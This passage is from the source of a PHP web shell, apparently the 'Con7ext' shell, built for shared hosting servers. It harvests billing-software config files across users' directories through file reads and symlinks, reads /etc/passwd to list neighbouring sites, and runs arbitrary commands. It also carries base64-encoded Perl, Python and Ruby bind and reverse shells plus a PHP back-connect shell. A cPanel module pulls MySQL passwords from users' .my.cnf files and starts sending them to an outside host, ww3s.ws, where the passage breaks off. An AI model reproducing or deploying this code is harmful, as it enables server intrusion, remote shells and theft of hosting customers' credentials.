"/home/$user_con7ext/public_html/CLIENT/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Client/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/client/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/CLIENTAREA/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Clientarea/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/clientarea/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/SUPPORT/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Support/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/support/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/BILLING/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Billing/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/billing/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/BUY/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Buy/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/buy/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/MANAGE/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Manage/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/manage/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/CLIENTSUPPORT/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/ClientSupport/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Clientsupport/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/clientsupport/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/CHECKOUT/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Checkout/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/checkout/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/BILLINGS/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Billings/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/BASKET/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Basket/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/basket/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/SECURE/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Secure/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/secure/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/SALES/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Sales/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/sales/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/BILL/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Bill/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/bill/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/PURCHASE/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Purchase/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/purchase/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/ACCOUNT/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Account/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/account/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/USER/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/User/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/user/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/CLIENTS/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Clients/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/clients/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/BILLINGS/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/Billings/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/billings/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/MY/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/My/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/my/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/secure/whm/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/secure/whmcs/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/panel/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/clientes/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/cliente/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/support/order/submitticket.php" => "WHMCS",
"/home/$user_con7ext/public_html/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/boxbilling/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/box/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/host/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/Host/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/supportes/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/support/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/hosting/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/cart/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/order/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/client/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/clients/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/cliente/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/clientes/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/billing/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/billings/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/my/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/secure/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/support/order/bb-config.php" => "BoxBilling",
"/home/$user_con7ext/public_html/includes/dist-configure.php" => "Zencart",
"/home/$user_con7ext/public_html/zencart/includes/dist-configure.php" => "Zencart",
"/home/$user_con7ext/public_html/products/includes/dist-configure.php" => "Zencart",
"/home/$user_con7ext/public_html/cart/includes/dist-configure.php" => "Zencart",
"/home/$user_con7ext/public_html/shop/includes/dist-configure.php" => "Zencart",
"/home/$user_con7ext/public_html/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/hostbills/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/host/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/Host/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/supportes/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/support/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/hosting/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/cart/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/order/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/client/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/clients/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/cliente/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/clientes/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/billing/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/billings/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/my/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/secure/includes/iso4217.php" => "Hostbills",
"/home/$user_con7ext/public_html/support/order/includes/iso4217.php" => "Hostbills"
);  

foreach($grab_config as $config => $nama_config) {
	if($_POST['config'] == 'grab') {
$ambil_config = file_get_contents($config);
if($ambil_config == '') {
} else {
$file_config = fopen("con7ext_configgrab/$user_con7ext-$nama_config.txt","w");
fputs($file_config,$ambil_config);
}
}
if($_POST['config'] == 'symlink') {
@symlink($config,"con7ext_Symconfig/".$user_con7ext."-".$nama_config.".txt");
}
if($_POST['config'] == '404') {
$sym404=symlink($config,"con7ext_sym404/".$user_con7ext."-".$nama_config.".txt");
if($sym404){
	@mkdir("con7ext_sym404/".$user_con7ext."-".$nama_config.".txt404", 0777);
	$htaccess="Options Indexes FollowSymLinks
DirectoryIndex con7ext.htm
HeaderName con7ext.txt
Satisfy Any
IndexOptions IgnoreCase FancyIndexing FoldersFirst NameWidth=* DescriptionWidth=* SuppressHTMLPreamble
IndexIgnore *";

@file_put_contents("con7ext_sym404/".$user_con7ext."-".$nama_config.".txt404/.htaccess",$htaccess);

@symlink($config,"con7ext_sym404/".$user_con7ext."-".$nama_config.".txt404/con7ext.txt");

	}

}

                    }     
		}  if($_POST['config'] == 'grab') {
            echo "<center><a href='?path=$path/con7ext_configgrab'><font color=lime>Done</font></a></center>";
		}
    if($_POST['config'] == '404') {
        echo "<center>
<a href=\"con7ext_sym404/root/\">SymlinkNya</a>
<br><a href=\"con7ext_sym404/\">Configurations</a></center>";
    }
     if($_POST['config'] == 'symlink') {
echo "<center>
<a href=\"con7ext_symconfig/root/\">Symlinknya</a>
<br><a href=\"con7ext_symconfig/\">Configurations</a></center>";
			}if($_POST['config'] == 'symvhost') {
echo "<center>
<a href=\"con7ext_symvhost/root/\">Root Server</a>
<br><a href=\"con7ext_symvhost/\">Configurations</a></center>";
			}
		
		
		}else{
        echo "<form method=\"post\" action=\"\"><center>
		</center></select><br><textarea name=\"passwd\" class='area' rows='15' cols='60'>
";
        echo include("/etc/passwd"); 
        echo "</textarea><br><br>
        <select class=\"select\" name=\"config\"  style=\"width: 450px;\" height=\"10\">
        <option value=\"grab\">Config Grab</option>
        <option value=\"symlink\">Symlink Config</option>
		<option value=\"404\">Config 404</option>
		<option value=\"symvhosts\">Vhosts Config Grabber</option><br><br><input type=\"submit\" value=\"Start!!\"></td></tr></center>
";
}
} elseif($_GET['jancok'] == 'jumping') {
	$i = 0;
	echo "<pre><div class='margin: 5px auto;'>";
	$etc = fopen("/etc/passwd", "r") or die("<font color=red>Can't read /etc/passwd</font>");
	while($passwd = fgets($etc)) {
		if($passwd == '' || !$etc) {
			echo "<font color=red>Can't read /etc/passwd</font>";
		} else {
			preg_match_all('/(.*?):x:/', $passwd, $user_jumping);
			foreach($user_jumping[1] as $user_con7ext_jump) {
				$user_jumping_dir = "/home/$user_con7ext_jump/public_html";
				if(is_readable($user_jumping_dir)) {
					$i++;
					$jrw = "[<font color=white>R</font>] <a href='?path=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
					if(is_writable($user_jumping_dir)) {
						$jrw = "[<font color=white>RW</font>] <a href='?path=$user_jumping_dir'><font color=gold>$user_jumping_dir</font></a>";
					}
					echo $jrw;
					if(function_exists('posix_getpwuid')) {
						$domain_jump = file_get_contents("/etc/named.conf");	
						if($domain_jump == '') {
							echo " => ( <font color=red>gabisa ambil nama domain nya</font> )<br>";
						} else {
							preg_match_all("#/var/named/(.*?).db#", $domain_jump, $domains_jump);
							foreach($domains_jump[1] as $dj) {
								$user_jumping_url = posix_getpwuid(@fileowner("/etc/valiases/$dj"));
								$user_jumping_url = $user_jumping_url['name'];
								if($user_jumping_url == $user_con7ext_jump) {
									echo " => ( <u>$dj</u> )<br>";
									break;
								}
							}
						}
					} else {
						echo "<br>";
					}
				}
			}
		}
	}
	if($i == 0) { 
	} else {
		echo "<br>Total ada ".$i." Kamar di ".gethostbyname($_SERVER['HTTP_HOST'])."";
	}
	echo "</div></pre>";
} elseif($_GET['backconnect'] == 'tool'){
echo "<br><br><center><form method=post>
<br>	<span>Bind port to /bin/sh [Perl]</span><br/>
	Port: <input type='text' name='port' value='443'> <input type=submit name=bpl value='>>'>
<br><br>
		<span>Back-connect</span><br/>
	Server: <input type='text' name='server' placeholder='". $_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' placeholder='443'><select class='select' name='backconnect'  style='width: 100px;' height='10'><option value='perl'>Perl</option><option value='php'>PHP</option><option value='python'>Python</option><option value='ruby'>Ruby</option></select>
   <input type=submit value='>>'>";
	if($_POST['bpl']) {
	$bp=base64_decode("IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=");
	$brt=@fopen('bp.pl','w');
fwrite($brt,$bp);
$out = exe("perl bp.pl ".$_POST['port']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>$out
".exe("ps aux | grep bp.pl")."</pre>";
unlink("bp.pl");
		}
		if($_POST['backconnect'] == 'perl') {
$bc=base64_decode("IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7");
$plbc=@fopen('bc.pl','w');
fwrite($plbc,$bc);
$out = exe("perl bc.pl ".$_POST['server']." ".$_POST['port']." 1>/dev/null 2>&1 &");
sleep(1);
echo "<pre>$out
".exe("ps aux | grep bc.pl")."</pre>";
unlink("bc.pl");
}
if($_POST['backconnect'] == 'python') {
$becaa=base64_decode("IyEvdXNyL2Jpbi9weXRob24NCiNVc2FnZTogcHl0aG9uIGZpbGVuYW1lLnB5IEhPU1QgUE9SVA0KaW1wb3J0IHN5cywgc29ja2V0LCBvcywgc3VicHJvY2Vzcw0KaXBsbyA9IHN5cy5hcmd2WzFdDQpwb3J0bG8gPSBpbnQoc3lzLmFyZ3ZbMl0pDQpzb2NrZXQuc2V0ZGVmYXVsdHRpbWVvdXQoNjApDQpkZWYgcHliYWNrY29ubmVjdCgpOg0KICB0cnk6DQogICAgam1iID0gc29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pDQogICAgam1iLmNvbm5lY3QoKGlwbG8scG9ydGxvKSkNCiAgICBqbWIuc2VuZCgnJydcblB5dGhvbiBCYWNrQ29ubmVjdCBCeSBDb243ZXh0IC0gWGFpIFN5bmRpY2F0ZVxuVGhhbmtzIEdvb2dsZSBGb3IgUmVmZXJlbnNpXG5cbicnJykNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwwKQ0KICAgIG9zLmR1cDIoam1iLmZpbGVubygpLDEpDQogICAgb3MuZHVwMihqbWIuZmlsZW5vKCksMikNCiAgICBvcy5kdXAyKGptYi5maWxlbm8oKSwzKQ0KICAgIHNoZWxsID0gc3VicHJvY2Vzcy5jYWxsKFsiL2Jpbi9zaCIsIi1pIl0pDQogIGV4Y2VwdCBzb2NrZXQudGltZW91dDoNCiAgICBwcmludCAiVGltT3V0Ig0KICBleGNlcHQgc29ja2V0LmVycm9yLCBlOg0KICAgIHByaW50ICJFcnJvciIsIGUNCnB5YmFja2Nvbm5lY3QoKQ==");
$pbcaa=@fopen('bcpyt.py','w');
fwrite($pbcaa,$becaa);
$out1 = exe("python bcpyt.py ".$_POST['server']." ".$_POST['port']);
sleep(1);
echo "<pre>$out1
".exe("ps aux | grep bcpyt.py")."</pre>";
unlink("bcpyt.py");
}
if($_POST['backconnect'] == 'ruby') {
$becaak=base64_decode("IyEvdXNyL2Jpbi9lbnYgcnVieQ0KIyBkZXZpbHpjMGRlLm9yZyAoYykgMjAxMg0KIw0KIyBiaW5kIGFuZCByZXZlcnNlIHNoZWxsDQojIGIzNzRrDQpyZXF1aXJlICdzb2NrZXQnDQpyZXF1aXJlICdwYXRobmFtZScNCg0KZGVmIHVzYWdlDQoJcHJpbnQgImJpbmQgOlxyXG4gIHJ1YnkgIiArIEZpbGUuYmFzZW5hbWUoX19GSUxFX18pICsgIiBbcG9ydF1cclxuIg0KCXByaW50ICJyZXZlcnNlIDpcclxuICBydWJ5ICIgKyBGaWxlLmJhc2VuYW1lKF9fRklMRV9fKSArICIgW3BvcnRdIFtob3N0XVxyXG4iDQplbmQNCg0KZGVmIHN1Y2tzDQoJc3Vja3MgPSBmYWxzZQ0KCWlmIFJVQllfUExBVEZPUk0uZG93bmNhc2UubWF0Y2goJ21zd2lufHdpbnxtaW5ndycpDQoJCXN1Y2tzID0gdHJ1ZQ0KCWVuZA0KCXJldHVybiBzdWNrcw0KZW5kDQoNCmRlZiByZWFscGF0aChzdHIpDQoJcmVhbCA9IHN0cg0KCWlmIEZpbGUuZXhpc3RzPyhzdHIpDQoJCWQgPSBQYXRobmFtZS5uZXcoc3RyKQ0KCQlyZWFsID0gZC5yZWFscGF0aC50b19zDQoJZW5kDQoJaWYgc3Vja3MNCgkJcmVhbCA9IHJlYWwuZ3N1YigvXC8vLCJcXCIpDQoJZW5kDQoJcmV0dXJuIHJlYWwNCmVuZA0KDQppZiBBUkdWLmxlbmd0aCA9PSAxDQoJaWYgQVJHVlswXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzBdKQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXNlcnZlciA9IFRDUFNlcnZlci5uZXcoIiIsIHBvcnQpDQoJcyA9IHNlcnZlci5hY2NlcHQNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fVxyXG4iDQoJYmVnaW4NCgkJaWYgbm90IHN1Y2tzDQoJCQlmID0gcy50b19pDQoJCQlleGVjIHNwcmludGYoIi9iaW4vc2ggLWkgXDxcJiVkIFw+XCYlZCAyXD5cJiVkIixmLGYsZikNCgkJZWxzZQ0KCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQl3aGlsZSBsaW5lID0gcy5nZXRzDQoJCQkJcmFpc2UgZXJyb3JCcm8gaWYgbGluZSA9fiAvXmRpZVxyPyQvDQoJCQkJaWYgbm90IGxpbmUuY2hvbXAgPT0gIiINCgkJCQkJaWYgbGluZSA9fiAvY2QgLiovaQ0KCQkJCQkJbGluZSA9IGxpbmUuZ3N1YigvY2QgL2ksICcnKS5jaG9tcA0KCQkJCQkJaWYgRmlsZS5kaXJlY3Rvcnk/KGxpbmUpDQoJCQkJCQkJbGluZSA9IHJlYWxwYXRoKGxpbmUpDQoJCQkJCQkJRGlyLmNoZGlyKGxpbmUpDQoJCQkJCQllbmQNCgkJCQkJCXMucHJpbnQgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+Ig0KCQkJCQllbHNpZiBsaW5lID1+IC9cdzouKi9pDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZS5jaG9tcCkNCgkJCQkJCQlEaXIuY2hkaXIobGluZS5jaG9tcCkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2UNCgkJCQkJCUlPLnBvcGVuKGxpbmUsInIiKXt8aW98cy5wcmludCBpby5yZWFkICsgIlxyXG4iICsgcmVhbHBhdGgoIi4iKSArICI+In0NCgkJCQkJZW5kDQoJCQkJZW5kDQoJCQllbmQNCgkJZW5kDQoJcmVzY3VlIGVycm9yQnJvDQoJCXB1dHMgIioqKiAje25hbWV9OiN7cG9ydH0gZGlzY29ubmVjdGVkIg0KCWVuc3VyZQ0KCQlzLmNsb3NlDQoJCXMgPSBuaWwNCgllbmQNCmVsc2lmIEFSR1YubGVuZ3RoID09IDINCglpZiBBUkdWWzBdID1+IC9eWzAtOV17MSw1fSQvDQoJCXBvcnQgPSBJbnRlZ2VyKEFSR1ZbMF0pDQoJCWhvc3QgPSBBUkdWWzFdDQoJZWxzaWYgQVJHVlsxXSA9fiAvXlswLTldezEsNX0kLw0KCQlwb3J0ID0gSW50ZWdlcihBUkdWWzFdKQ0KCQlob3N0ID0gQVJHVlswXQ0KCWVsc2UNCgkJdXNhZ2UNCgkJcHJpbnQgIlxyXG4qKiogZXJyb3IgOiBQbGVhc2UgaW5wdXQgYSB2YWxpZCBwb3J0XHJcbiINCgkJZXhpdA0KCWVuZA0KCXMgPSBUQ1BTb2NrZXQubmV3KCIje2hvc3R9IiwgcG9ydCkNCglwb3J0ID0gcy5wZWVyYWRkclsxXQ0KCW5hbWUgPSBzLnBlZXJhZGRyWzJdDQoJcy5wcmludCAiKioqIGNvbm5lY3RlZFxyXG4iDQoJcHV0cyAiKioqIGNvbm5lY3RlZCA6ICN7bmFtZX06I3twb3J0fSINCgliZWdpbg0KCQlpZiBub3Qgc3Vja3MNCgkJCWYgPSBzLnRvX2kNCgkJCWV4ZWMgc3ByaW50ZigiL2Jpbi9zaCAtaSBcPFwmJWQgXD5cJiVkIDJcPlwmJWQiLCBmLCBmLCBmKQ0KCQllbHNlDQoJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCXdoaWxlIGxpbmUgPSBzLmdldHMNCgkJCQlyYWlzZSBlcnJvckJybyBpZiBsaW5lID1+IC9eZGllXHI/JC8NCgkJCQlpZiBub3QgbGluZS5jaG9tcCA9PSAiIg0KCQkJCQlpZiBsaW5lID1+IC9jZCAuKi9pDQoJCQkJCQlsaW5lID0gbGluZS5nc3ViKC9jZCAvaSwgJycpLmNob21wDQoJCQkJCQlpZiBGaWxlLmRpcmVjdG9yeT8obGluZSkNCgkJCQkJCQlsaW5lID0gcmVhbHBhdGgobGluZSkNCgkJCQkJCQlEaXIuY2hkaXIobGluZSkNCgkJCQkJCWVuZA0KCQkJCQkJcy5wcmludCAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4iDQoJCQkJCWVsc2lmIGxpbmUgPX4gL1x3Oi4qL2kNCgkJCQkJCWlmIEZpbGUuZGlyZWN0b3J5PyhsaW5lLmNob21wKQ0KCQkJCQkJCURpci5jaGRpcihsaW5lLmNob21wKQ0KCQkJCQkJZW5kDQoJCQkJCQlzLnByaW50ICJcclxuIiArIHJlYWxwYXRoKCIuIikgKyAiPiINCgkJCQkJZWxzZQ0KCQkJCQkJSU8ucG9wZW4obGluZSwiciIpe3xpb3xzLnByaW50IGlvLnJlYWQgKyAiXHJcbiIgKyByZWFscGF0aCgiLiIpICsgIj4ifQ0KCQkJCQllbmQNCgkJCQllbmQNCgkJCWVuZA0KCQllbmQNCglyZXNjdWUgZXJyb3JCcm8NCgkJcHV0cyAiKioqICN7bmFtZX06I3twb3J0fSBkaXNjb25uZWN0ZWQiDQoJZW5zdXJlDQoJCXMuY2xvc2UNCgkJcyA9IG5pbA0KCWVuZA0KZWxzZQ0KCXVzYWdlDQoJZXhpdA0KZW5k");
$pbcaak=@fopen('bcruby.rb','w');
fwrite($pbcaak,$becaak);
$out2 = exe("ruby bcruby.rb ".$_POST['server']." ".$_POST['port']);
sleep(1);
echo "<pre>$out2
".exe("ps aux | grep bcruby.rb")."</pre>";
unlink("bcruby.rb");
}
if($_POST['backconnect'] == 'php') {
            $ip = $_POST['server'];
            $port = $_POST['port'];
            $sockfd = fsockopen($ip , $port , $errno, $errstr );
            if($errno != 0){
              echo "<font color='red'>$errno : $errstr</font>";
            } else if (!$sockfd)  {
              $result = "<p>Unexpected error has occured, connection may have failed.</p>";
            } else {
              fputs ($sockfd ,"
                
{################################################################}
                
..:: BackConnect Php By Con7ext ::..
                
{################################################################}
");
              $dir = shell_exec("pwd");
              $sysinfo = shell_exec("uname -a");
              $time = Shell_exec("time");
              $len = 1337;
              fputs($sockfd, "User ", $sysinfo, "connected @ ", $time, "

");
              while(!feof($sockfd)){ $cmdPrompt = '[Con7ext]#:> ';
              fputs ($sockfd , $cmdPrompt );
              $command= fgets($sockfd, $len);
              fputs($sockfd , "
" . shell_exec($command) . "

");
            }
            fclose($sockfd);
            }
          }
		echo "</p></div>";
} elseif($_GET['jancok'] == 'adminer') {
	$full = str_replace($_SERVER['DOCUMENT_ROOT'], "", $dir);
	function adminer($url, $isi) {
		$fp = fopen($isi, "w");
		$ch = curl_init();
		 	  curl_setopt($ch, CURLOPT_URL, $url);
		 	  curl_setopt($ch, CURLOPT_BINARYTRANSFER, true);
		 	  curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
		 	  curl_setopt($ch, CURLOPT_SSL_VERIFYPEER, false);
		   	  curl_setopt($ch, CURLOPT_FILE, $fp);
		return curl_exec($ch);
		   	  curl_close($ch);
		fclose($fp);
		ob_flush();
		flush();
	}
	if(file_exists('adminer.php')) {
		echo "<center><font color=white><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
	} else {
		if(adminer("https://www.adminer.org/static/download/4.2.4/adminer-4.2.4.php","adminer.php")) {
			echo "<center><font color=white><a href='$full/adminer.php' target='_blank'>-> adminer login <-</a></font></center>";
		} else {
			echo "<center><font color=red>gagal buat file adminer</font></center>";
		}
	}
}elseif($_GET['jancok'] == 'cmd') {
echo "<center><form method='post'>
	<font style='text-decoration: underline;'>".$user."@".gethostbyname($_SERVER['HTTP_HOST']).": ~ $ </font>
	<input type='text' size='30' height='10' name='cmd'><input type='submit' name='do_cmd' value='>>'>
	</form>";
	if($_POST['do_cmd']) {
		echo "<pre><textarea>".exe($_POST['cmd'])."</textarea></pre>";
	}
}
elseif($_GET['jancok'] == 'cpanel') {
@ini_set('display_errors',0);
function entre2v2($text,$marqueurDebutLien,$marqueurFinLien,$i=1){
    $ar0=explode($marqueurDebutLien, $text);
    $ar1=explode($marqueurFinLien, $ar0[$i]);
    return trim($ar1[0]);
}
echo '<br><br><style>
textarea {
resize:none;
color:black;
background-color:#ffffff;  
font-size:8pt; color:black;
border:1px solid white ;
border-left: 4px solid white ;
}
input {
color: black;
border:1px dotted white;
}
</style>';
echo '<center>';
$d0mains = @file('/etc/named.conf');
$domains = scandir("/var/named");
if ($domains or $d0mains)
{
    $domains = scandir("/var/named");
    if($domains) {
echo "<table align=center><tr><th valign=top  class=style2> COUNT </th><th valign=top > DOMAIN </th><th valign=top class=style2 > USER </th><th valign=top class=style2 > Password </th><th valign=top class=style2 > .my.cnf </th></tr>";
$count=1;
$dc = 0;
$list = scandir("/var/named");
foreach($list as $domain){
if(strpos($domain,".db")){
$domain = str_replace('.db','',$domain);
$owner = posix_getpwuid(fileowner("/etc/valiases/".$domain));
$dirz = '/home/'.$owner['name'].'/.my.cnf';
$path = getcwd();
if (is_readable($dirz)) {
copy($dirz, ''.$path.'/'.$owner['name'].'.txt');
$p=file_get_contents(''.$path.'/'.$owner['name'].'.txt');
$password=entre2v2($p,'password="','"');
echo "<tr><td valign=top style=border :2px solid white; width: 139px class=style2>".$count++."</td><td valign=top style= width: 139px; border :2px solid white  class=style2 ><a href=http://".$domain.":2082 target=_blank>".$domain."</a></td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >".$owner['name']."</td><td valign=top style= width: 139px; border: 2px solid white  class=style2 >".$password."</td><td valign=top style=border :2px solid white style=width: 139px><a href=".$owner['name'].".txt target=_blank>Click Here</a></td></tr>";
$dc++;
$success3="http://".$domain."|".$owner['name']."|".$password."
";
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL,"http://ww3s.ws/ok.php");
